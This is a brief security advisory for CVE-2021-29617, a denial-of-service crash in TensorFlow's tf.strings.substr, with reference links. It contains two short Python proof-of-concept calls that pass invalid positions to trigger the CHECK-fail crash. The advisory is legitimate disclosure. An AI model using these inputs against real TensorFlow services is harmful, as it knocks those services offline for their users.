CVE-2021-29617: Crash in `tf.strings.substr` due to `CHECK`-fail
(updated )
An attacker can cause a denial of service via CHECK-fail in tf.strings.substr with invalid arguments:
import tensorflow as tf
tf.strings.substr(input='abc', len=1, pos=[1,-1])
import tensorflow as tf
tf.strings.substr(input='abc', len=1, pos=[1,2])
References
- github.com/advisories/GHSA-mmq6-q8r3-48fm
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-545.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-743.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-254.yaml
- github.com/tensorflow/issues/46900
- github.com/tensorflow/issues/46974
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/890f7164b70354c57d40eda52dcdd7658677c09f
- github.com/tensorflow/tensorflow/security/advisories/GHSA-mmq6-q8r3-48fm
- nvd.nist.gov/vuln/detail/CVE-2021-29617
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